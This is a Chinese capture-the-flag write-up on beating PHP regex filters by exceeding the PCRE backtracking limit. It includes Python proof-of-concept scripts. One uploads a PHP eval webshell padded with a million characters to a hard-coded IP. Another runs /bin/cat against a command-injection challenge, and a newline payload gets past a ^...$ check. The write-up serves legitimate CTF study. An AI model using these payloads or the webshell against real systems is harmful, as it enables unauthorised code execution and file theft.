参考p神博客:PHP利用PCRE回溯次数限制绕过某些安全限制 | 离别歌 (leavesongs.com)
参考p神的代码进行分析
1 2 3 4 5 6 7 8
| <?php function is_php($data){ return preg_match('/<\?.*[(`;?>].*/is', $data); }
if(!is_php($input)) { fwrite($f, $input); ... }
|
对输入内容进行判断,查看是否有被过滤的内容,如果没有则写入文件。
过滤内容大致是不允许写php代码
对此题如何绕过is_php()来写入进项php代码研究
对正则表达式的深入理解
常见的正则引擎分为DFA(确定性有限状态自动机)与NFA(非确定性有限状态自动机)
NFA执行存在回溯,性能会比DFA差,但是NFA支持的功能更多。
PHP的PCRE库中就使用了NFA作为正则引擎,所以会存在回溯
回溯过程:
利用在线工具对正则回溯进行分析:嗨正则-正则表达式在线测试与调试工具
正则表达式为:
测试文本为:

点击正则执行步骤

我们可以看到最终匹配结果为
1 2 3 4 5
| < 匹配 < \? 匹配 ? .* 匹配 php phpinfo() [(`;?>] 匹配 ; .* 匹配 //aaaaa
|
可以查看每一步匹配的字符
step1:

step2:

step3:

step4:

step5:

step6:

step7:

step8:

step9:

step10:

step11:

step12:

step13:

step14:

我们可以发现在step3的时候.*匹配了后面全部字符串,这显然不对
因为后面的 [(`;?>] 还没有匹配
所以在step5处开始回溯
依次吐出一个字符
直到 [(`;?>] 匹配到 ; 回溯结束
.*匹配剩下的字符串,匹配成功
显示红色的表示回溯,一共回溯了8次
对PHP的pcre.backtrack_limit限制利用
因为回溯会降低服务的性能,大量的回溯则会产生reDOS
所以php为了防止正则表达式的拒绝服务攻击(reDOS)
给pcre设定了回溯次数上限 pcre.backtrack_limit
可以通过 var_dump(ini_get(‘pcre.backtrack_limit’));
来查看当前环境对回溯次数的限制
参考英文版的PHP文档
默认回溯次数为100万,如果回溯次数超过100万那么preg_match会返回false
意思就是匹配失败,意味着我们就可以通过发超长字符串,使得正则匹配失败绕过PHP语言限制
POC
1 2 3 4 5 6 7 8 9
| import requests from io import BytesIO
files = { 'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000) }
res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False) print(res.headers)
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| <html> <body> <h1>Web Adminstration Interface</h1>
<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) { $json = $_REQUEST['cmd'];
if (!is_string($json)) { echo '检测到黑客攻击<br/><br/>'; } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) { echo '检测到黑客攻击<br/><br/>'; } else { echo '尝试运行命令:<br/>'; $cmd = json_decode($json, true)['cmd']; if ($cmd !== NULL) { system($cmd); } else { echo '无效输入'; } echo '<br/><br/>'; } }
?>
<form> Enter command as JSON: <input name="cmd" /> </form> </body> </html>
|
可以看到过滤了很多东西
要求JSON命令来输入,就是键值对的方法
putenv('PATH=/home/rceservice/jail');
将环境变量PATH设置为/home/rceservice/jail
这意味着任何命令的执行都将仅限于此路径下的可执行文件。
在这种情况下,除非/home/rceservice/jail目录中存在cat命令,否则默认路径下的cat命令将不可用。
通常情况下,cat命令在系统的/bin目录中,这意味着你需要指定完整路径/bin/cat才能执行cat命令。
推测flag在/home/rceservice/目录下
可以用脚本验证

直接拿脚本跑
1 2 3 4 5 6
| import requests payload = '{"cmd":"/bin/cat /home/rceservice/flag","test":"' + "a"*(1000000) + '"}' res = requests.post("http://node4.anna.nssctf.cn:28528/", data={"cmd":payload})
print(res.text)
|

其他解法:
当看到正则中存在^xxx$格式也会用%0a:%0a绕过
1
| payload:?cmd={%0a"cmd":"/bin/cat /home/rceservice/flag"%0a}
|
